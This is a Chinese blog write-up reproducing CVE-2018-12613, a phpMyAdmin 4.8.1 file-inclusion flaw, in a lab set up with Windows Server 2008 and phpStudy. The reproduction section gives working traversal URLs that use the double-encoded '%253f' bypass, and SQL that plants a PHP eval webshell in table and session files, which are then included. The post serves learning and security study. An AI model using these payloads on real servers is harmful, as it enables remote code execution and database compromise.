CVE-2018-12613phpmyadmin(文件包含)漏洞复现

—0x00 漏洞介绍—

2018年6月19日,phpmyadmin在最新版本修复漏洞。phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

—0x01漏洞原理—

在phpMyAdmin 4.8.1版本的index.php文件中,第50-63行代码如下:
在这里插入图片描述

第四个判断是黑名单判断。在index.php中已经定义好了target_blacklist的值,它们是import.php和export.php,只要不等于这两个值就可以。

第五个判断Core::checkPageValidity($_REQUEST[‘target’]为真,通过全局搜索发现了代码在libraries\classes\Core.php文件的第443-476行

在这里插入图片描述goto_whitelist的代码:
在这里插入图片描述在这里插入图片描述
当传入二次编码后的内容,会让checkPageValidity()这个函数返回true,但index中实际包含的内容却不是白名单中的文件。
例如:传入“?target=db_datadict.php%253f ”,由于服务器会自动解码一次,所以在checkPageValidity()中,page的值一开始会是“db_datadict.php%3f”,又一次url解码后变成了“db_datadict.php?”,这时符合了?前内容在白名单的要求,函数返回true。但在index.php中_REQUEST[‘target’]仍然是“db_datadict.php%3f”,而且会被include,通过目录穿越,就可造成任意文件包含。最终通过该漏洞实现了上述攻击,这个漏洞也很快被修复并发布新版本。

—0x02影响版本—

phpMyAdmin 4.8.0
phpMyAdmin 4.8.1

—0x03 漏洞修护—

通过git changelog查看官方如何修复漏洞的。查找补丁源码发现修复手法简单粗暴,直接在checkPageValidity中多加了一个参数 i n c l u d e include。当 include=true时,仅执行第一次判断$page的合法性,我们的payload也就没有办法进入到urldecode的步骤了.

—0x04 漏洞环境—

一台windows2008
phpstudy 2018
phpmyadmin4.8.1

第一步 下载phpstudy2018—>放在window server 2008里面

[https://www.xp.cn/download.html]
在这里插入图片描述

第二步 phpstudy没有安装VC11、VC14运行库参考文档

[https://blog.csdn.net/qq_41901122/article/details/104700734]
在这里插入图片描述

第三步 下载phpMyAdmin-4.8.1-all-languages

在这里插入图片描述
替换掉之前版本—>更换4.8.1—>更改文件名
在这里插入图片描述

第四步 查看phpmyadmin版本

[http://192.168.139.136/phpmyadmin/README]
在这里插入图片描述

第五步 查看window server 2008的配置文件

[C:\phpStudy\PHPTutorial\WWW\phpMyAdmin/README]
在这里插入图片描述

第六步 数据库版本

在这里插入图片描述

—0x05 漏洞利用思路—

第一步 明确版本

第二步 文件包含漏洞

第三步 获取漏洞利用的条件

show VARIABLES like ‘%char%’;查看系统路径select @@datadir;查看数据存储路径

第四步 写入shell,构造payload

—0x06 漏洞复现—

方法一:直接包含文件

[ http://192.168.139.136/phpmyadmin/index.php?target=db_datadict.php%253f/…/…/…/…/…/…/…/…/…/Windows\win.ini]
在这里插入图片描述

方法二:包含frm文件(表结构),通过在创建数据库表时将数据库的名称设为我们的php一句话木马。从而包含这个文件时可以执行一句话木马

第一步 [show variables like ‘%datadir%’;] 查询数据库路径

在这里插入图片描述

第二步 创建表qwe

在这里插入图片描述

第三步 创建字段为一句话木马

在这里插入图片描述
在这里插入图片描述

第四步 查询win2008看是否写入

注意 写入的一句话需要用GET方式,POST方式尝试过无法成功
在这里插入图片描述

第五步 访问写入的文件位置

[ http://192.168.139.136/phpmyadmin/index.php?target=db_datadict.php%253f/…/…/…/…/…/…/…/…/phpStudy\PHPTutorial\MySQL\data\test\qwe.frm]
在这里插入图片描述

方法三:phpsession序列化数据保存至session文件,包含其缓存文件。通过一句话木马,进而包含sess_sessionId文件。

第一步 [ select ‘<?php phpinfo() ?>’;]

在这里插入图片描述

第二步 F12查看网站Session值,查看当前页面cookie中的phpmyadmin的值

在这里插入图片描述

第三步 构建包含Session值的URL路径。

访问【http://192.168.139.136/phpmyadmin/index.php?target=db_datadict.php%253f/…/…/…/…/…/…/…/…/…/phpStudy\PHPTutorial\tmp\tmp\sess_v4v23hqph5m5ljnq12860p647319mqqd】
在这里插入图片描述
在这里插入图片描述

第四步 此时 尝试[ select ‘<?php @eval($_GET[w]); ?>’;]

在这里插入图片描述在这里插入图片描述

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果上传者概不负责!
参考链接:https://blog.csdn.net/Eastmount/article/details/103925419/

发布了278 篇原创文章 · 获赞 57 · 访问量 10万+

猜你喜欢

转载自blog.csdn.net/qq_41901122/article/details/104718333